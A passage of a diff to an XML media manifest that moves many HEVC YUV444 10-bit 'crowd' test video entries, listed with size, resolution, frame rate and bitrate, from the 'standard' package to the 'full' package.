   <entry key="hevc/yuv444/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f9_gop8.mp4">
-    <value>mime=video/hevc,size=138567,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6113904,package=standard</value>
+    <value>mime=video/hevc,size=138567,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6113904,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f10_gop8.mp4">
     <value>mime=video/hevc,size=407363,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=16253880,package=full</value>
@@ -20187,274 +20187,274 @@
     <value>mime=video/hevc,size=529549,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=13212120,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop1.mp4">
-    <value>mime=video/hevc,size=163071,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1297736,package=standard</value>
+    <value>mime=video/hevc,size=163071,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1297736,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop2.mp4">
-    <value>mime=video/hevc,size=163082,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1297816,package=standard</value>
+    <value>mime=video/hevc,size=163082,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1297816,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop4.mp4">
-    <value>mime=video/hevc,size=163082,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1297816,package=standard</value>
+    <value>mime=video/hevc,size=163082,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1297816,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop8.mp4">
-    <value>mime=video/hevc,size=163083,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1297816,package=standard</value>
+    <value>mime=video/hevc,size=163083,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1297816,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop1.mp4">
-    <value>mime=video/hevc,size=197441,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=39311800,package=standard</value>
+    <value>mime=video/hevc,size=197441,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=39311800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop2.mp4">
-    <value>mime=video/hevc,size=197452,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=39313800,package=standard</value>
+    <value>mime=video/hevc,size=197452,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=39313800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop4.mp4">
-    <value>mime=video/hevc,size=197452,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=39313800,package=standard</value>
+    <value>mime=video/hevc,size=197452,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=39313800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop8.mp4">
-    <value>mime=video/hevc,size=197453,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=39313800,package=standard</value>
+    <value>mime=video/hevc,size=197453,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=39313800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f3_gop2.mp4">
-    <value>mime=video/hevc,size=225617,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=29953864,package=standard</value>
+    <value>mime=video/hevc,size=225617,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=29953864,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f3_gop4.mp4">
-    <value>mime=video/hevc,size=225617,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=29953864,package=standard</value>
+    <value>mime=video/hevc,size=225617,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=29953864,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f3_gop8.mp4">
-    <value>mime=video/hevc,size=225618,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=29953864,package=standard</value>
+    <value>mime=video/hevc,size=225618,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=29953864,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f4_gop2.mp4">
-    <value>mime=video/hevc,size=243047,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24207200,package=standard</value>
+    <value>mime=video/hevc,size=243047,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24207200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f4_gop4.mp4">
-    <value>mime=video/hevc,size=246930,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24595496,package=standard</value>
+    <value>mime=video/hevc,size=246930,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24595496,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f4_gop8.mp4">
-    <value>mime=video/hevc,size=246931,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24595496,package=standard</value>
+    <value>mime=video/hevc,size=246931,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24595496,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f5_gop4.mp4">
-    <value>mime=video/hevc,size=272990,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=21760240,package=standard</value>
+    <value>mime=video/hevc,size=272990,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=21760240,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f5_gop8.mp4">
-    <value>mime=video/hevc,size=272991,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=21760240,package=standard</value>
+    <value>mime=video/hevc,size=272991,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=21760240,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f6_gop4.mp4">
-    <value>mime=video/hevc,size=296992,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=19732864,package=standard</value>
+    <value>mime=video/hevc,size=296992,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=19732864,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f6_gop8.mp4">
-    <value>mime=video/hevc,size=288442,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=19163328,package=standard</value>
+    <value>mime=video/hevc,size=288442,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=19163328,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f7_gop4.mp4">
-    <value>mime=video/hevc,size=316196,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=18010568,package=standard</value>
+    <value>mime=video/hevc,size=316196,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=18010568,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f7_gop8.mp4">
-    <value>mime=video/hevc,size=314590,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=17919656,package=standard</value>
+    <value>mime=video/hevc,size=314590,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=17919656,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f8_gop4.mp4">
-    <value>mime=video/hevc,size=334386,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=16668144,package=standard</value>
+    <value>mime=video/hevc,size=334386,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=16668144,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f8_gop8.mp4">
-    <value>mime=video/hevc,size=327154,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=16307696,package=standard</value>
+    <value>mime=video/hevc,size=327154,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=16307696,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f9_gop8.mp4">
-    <value>mime=video/hevc,size=356643,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=15806176,package=standard</value>
+    <value>mime=video/hevc,size=356643,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=15806176,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f10_gop8.mp4">
-    <value>mime=video/hevc,size=26460,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1017800,package=standard</value>
+    <value>mime=video/hevc,size=26460,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1017800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f11_gop8.mp4">
-    <value>mime=video/hevc,size=27729,width=640,height=360,frame-rate=50,profile=,level=,bitrate=970976,package=standard</value>
+    <value>mime=video/hevc,size=27729,width=640,height=360,frame-rate=50,profile=,level=,bitrate=970976,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f12_gop8.mp4">
-    <value>mime=video/hevc,size=28615,width=640,height=360,frame-rate=50,profile=,level=,bitrate=919200,package=standard</value>
+    <value>mime=video/hevc,size=28615,width=640,height=360,frame-rate=50,profile=,level=,bitrate=919200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f13_gop8.mp4">
-    <value>mime=video/hevc,size=29869,width=640,height=360,frame-rate=50,profile=,level=,bitrate=886704,package=standard</value>
+    <value>mime=video/hevc,size=29869,width=640,height=360,frame-rate=50,profile=,level=,bitrate=886704,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f14_gop8.mp4">
-    <value>mime=video/hevc,size=30224,width=640,height=360,frame-rate=50,profile=,level=,bitrate=833392,package=standard</value>
+    <value>mime=video/hevc,size=30224,width=640,height=360,frame-rate=50,profile=,level=,bitrate=833392,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f15_gop8.mp4">
-    <value>mime=video/hevc,size=31977,width=640,height=360,frame-rate=50,profile=,level=,bitrate=824480,package=standard</value>
+    <value>mime=video/hevc,size=31977,width=640,height=360,frame-rate=50,profile=,level=,bitrate=824480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f16_gop8.mp4">
-    <value>mime=video/hevc,size=31796,width=640,height=360,frame-rate=50,profile=,level=,bitrate=768320,package=standard</value>
+    <value>mime=video/hevc,size=31796,width=640,height=360,frame-rate=50,profile=,level=,bitrate=768320,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f1_gop1.mp4">
-    <value>mime=video/hevc,size=12544,width=640,height=360,frame-rate=1,profile=,level=,bitrate=93528,package=standard</value>
+    <value>mime=video/hevc,size=12544,width=640,height=360,frame-rate=1,profile=,level=,bitrate=93528,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f1_gop2.mp4">
-    <value>mime=video/hevc,size=12554,width=640,height=360,frame-rate=1,profile=,level=,bitrate=93608,package=standard</value>
+    <value>mime=video/hevc,size=12554,width=640,height=360,frame-rate=1,profile=,level=,bitrate=93608,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f1_gop4.mp4">
-    <value>mime=video/hevc,size=12555,width=640,height=360,frame-rate=1,profile=,level=,bitrate=93608,package=standard</value>
+    <value>mime=video/hevc,size=12555,width=640,height=360,frame-rate=1,profile=,level=,bitrate=93608,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f1_gop8.mp4">
-    <value>mime=video/hevc,size=12556,width=640,height=360,frame-rate=1,profile=,level=,bitrate=93608,package=standard</value>
+    <value>mime=video/hevc,size=12556,width=640,height=360,frame-rate=1,profile=,level=,bitrate=93608,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f2_gop1.mp4">
-    <value>mime=video/hevc,size=15402,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2904200,package=standard</value>
+    <value>mime=video/hevc,size=15402,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2904200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f2_gop2.mp4">
-    <value>mime=video/hevc,size=15412,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2906200,package=standard</value>
+    <value>mime=video/hevc,size=15412,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2906200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f2_gop4.mp4">
-    <value>mime=video/hevc,size=15413,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2906200,package=standard</value>
+    <value>mime=video/hevc,size=15413,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2906200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f2_gop8.mp4">
-    <value>mime=video/hevc,size=15414,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2906200,package=standard</value>
+    <value>mime=video/hevc,size=15414,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2906200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f3_gop2.mp4">
-    <value>mime=video/hevc,size=17310,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2179864,package=standard</value>
+    <value>mime=video/hevc,size=17310,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2179864,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f3_gop4.mp4">
-    <value>mime=video/hevc,size=17311,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2179864,package=standard</value>
+    <value>mime=video/hevc,size=17311,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2179864,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f3_gop8.mp4">
-    <value>mime=video/hevc,size=17312,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2179864,package=standard</value>
+    <value>mime=video/hevc,size=17312,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2179864,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f4_gop2.mp4">
-    <value>mime=video/hevc,size=18570,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1759696,package=standard</value>
+    <value>mime=video/hevc,size=18570,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1759696,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f4_gop4.mp4">
-    <value>mime=video/hevc,size=18775,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1780096,package=standard</value>
+    <value>mime=video/hevc,size=18775,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1780096,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f4_gop8.mp4">
-    <value>mime=video/hevc,size=18776,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1780096,package=standard</value>
+    <value>mime=video/hevc,size=18776,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1780096,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f5_gop4.mp4">
-    <value>mime=video/hevc,size=20035,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1523920,package=standard</value>
+    <value>mime=video/hevc,size=20035,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1523920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f5_gop8.mp4">
-    <value>mime=video/hevc,size=20036,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1523920,package=standard</value>
+    <value>mime=video/hevc,size=20036,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1523920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f6_gop4.mp4">
-    <value>mime=video/hevc,size=21347,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1356600,package=standard</value>
+    <value>mime=video/hevc,size=21347,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1356600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f6_gop8.mp4">
-    <value>mime=video/hevc,size=20633,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1309464,package=standard</value>
+    <value>mime=video/hevc,size=20633,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1309464,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f7_gop4.mp4">
-    <value>mime=video/hevc,size=22275,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1215136,package=standard</value>
+    <value>mime=video/hevc,size=22275,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1215136,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f7_gop8.mp4">
-    <value>mime=video/hevc,size=21954,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1197656,package=standard</value>
+    <value>mime=video/hevc,size=21954,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1197656,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f8_gop4.mp4">
-    <value>mime=video/hevc,size=23153,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1106544,package=standard</value>
+    <value>mime=video/hevc,size=23153,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1106544,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f8_gop8.mp4">
-    <value>mime=video/hevc,size=22599,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1080000,package=standard</value>
+    <value>mime=video/hevc,size=22599,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1080000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_640x360p50/crowd_640x360p50f9_gop8.mp4">
-    <value>mime=video/hevc,size=23960,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1020304,package=standard</value>
+    <value>mime=video/hevc,size=23960,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1020304,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f10_gop8.mp4">
-    <value>mime=video/hevc,size=63555,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2501560,package=standard</value>
+    <value>mime=video/hevc,size=63555,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2501560,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f11_gop8.mp4">
-    <value>mime=video/hevc,size=66139,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2367672,package=standard</value>
+    <value>mime=video/hevc,size=66139,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2367672,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f12_gop8.mp4">
-    <value>mime=video/hevc,size=68523,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2249432,package=standard</value>
+    <value>mime=video/hevc,size=68523,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2249432,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f13_gop8.mp4">
-    <value>mime=video/hevc,size=71580,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2170088,package=standard</value>
+    <value>mime=video/hevc,size=71580,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2170088,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f14_gop8.mp4">
-    <value>mime=video/hevc,size=72740,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2048112,package=standard</value>
+    <value>mime=video/hevc,size=72740,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2048112,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f15_gop8.mp4">
-    <value>mime=video/hevc,size=76340,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2007464,package=standard</value>
+    <value>mime=video/hevc,size=76340,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2007464,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f16_gop8.mp4">
-    <value>mime=video/hevc,size=76380,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1882896,package=standard</value>
+    <value>mime=video/hevc,size=76380,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1882896,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f1_gop1.mp4">
-    <value>mime=video/hevc,size=30124,width=854,height=480,frame-rate=1,profile=,level=,bitrate=234160,package=standard</value>
+    <value>mime=video/hevc,size=30124,width=854,height=480,frame-rate=1,profile=,level=,bitrate=234160,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f1_gop2.mp4">
-    <value>mime=video/hevc,size=30134,width=854,height=480,frame-rate=1,profile=,level=,bitrate=234240,package=standard</value>
+    <value>mime=video/hevc,size=30134,width=854,height=480,frame-rate=1,profile=,level=,bitrate=234240,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f1_gop4.mp4">
-    <value>mime=video/hevc,size=30134,width=854,height=480,frame-rate=1,profile=,level=,bitrate=234240,package=standard</value>
+    <value>mime=video/hevc,size=30134,width=854,height=480,frame-rate=1,profile=,level=,bitrate=234240,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f1_gop8.mp4">
-    <value>mime=video/hevc,size=30136,width=854,height=480,frame-rate=1,profile=,level=,bitrate=234240,package=standard</value>
+    <value>mime=video/hevc,size=30136,width=854,height=480,frame-rate=1,profile=,level=,bitrate=234240,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f2_gop1.mp4">
-    <value>mime=video/hevc,size=36382,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7100000,package=standard</value>
+    <value>mime=video/hevc,size=36382,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7100000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f2_gop2.mp4">
-    <value>mime=video/hevc,size=36392,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7102000,package=standard</value>
+    <value>mime=video/hevc,size=36392,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7102000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f2_gop4.mp4">
-    <value>mime=video/hevc,size=36392,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7102000,package=standard</value>
+    <value>mime=video/hevc,size=36392,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7102000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f2_gop8.mp4">
-    <value>mime=video/hevc,size=36394,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7102000,package=standard</value>
+    <value>mime=video/hevc,size=36394,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7102000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f3_gop2.mp4">
-    <value>mime=video/hevc,size=41015,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5340400,package=standard</value>
+    <value>mime=video/hevc,size=41015,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5340400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f3_gop4.mp4">
-    <value>mime=video/hevc,size=41015,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5340400,package=standard</value>
+    <value>mime=video/hevc,size=41015,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5340400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f3_gop8.mp4">
-    <value>mime=video/hevc,size=41017,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5340400,package=standard</value>
+    <value>mime=video/hevc,size=41017,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5340400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f4_gop2.mp4">
-    <value>mime=video/hevc,size=44442,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4346800,package=standard</value>
+    <value>mime=video/hevc,size=44442,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4346800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f4_gop4.mp4">
-    <value>mime=video/hevc,size=44809,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4383496,package=standard</value>
+    <value>mime=video/hevc,size=44809,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4383496,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f4_gop8.mp4">
-    <value>mime=video/hevc,size=44811,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4383496,package=standard</value>
+    <value>mime=video/hevc,size=44811,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4383496,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f5_gop4.mp4">
-    <value>mime=video/hevc,size=48617,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3810480,package=standard</value>
+    <value>mime=video/hevc,size=48617,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3810480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f5_gop8.mp4">
-    <value>mime=video/hevc,size=48619,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3810480,package=standard</value>
+    <value>mime=video/hevc,size=48619,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3810480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f6_gop4.mp4">
-    <value>mime=video/hevc,size=51486,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3365864,package=standard</value>
+    <value>mime=video/hevc,size=51486,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3365864,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f6_gop8.mp4">
-    <value>mime=video/hevc,size=50831,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3322600,package=standard</value>
+    <value>mime=video/hevc,size=50831,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3322600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f7_gop4.mp4">
-    <value>mime=video/hevc,size=53693,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3010456,package=standard</value>
+    <value>mime=video/hevc,size=53693,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3010456,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f7_gop8.mp4">
-    <value>mime=video/hevc,size=54577,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3061768,package=standard</value>
+    <value>mime=video/hevc,size=54577,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3061768,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f8_gop4.mp4">
-    <value>mime=video/hevc,size=55478,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2722800,package=standard</value>
+    <value>mime=video/hevc,size=55478,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2722800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f8_gop8.mp4">
-    <value>mime=video/hevc,size=55562,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2728096,package=standard</value>
+    <value>mime=video/hevc,size=55562,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2728096,package=full</value>
   </entry>
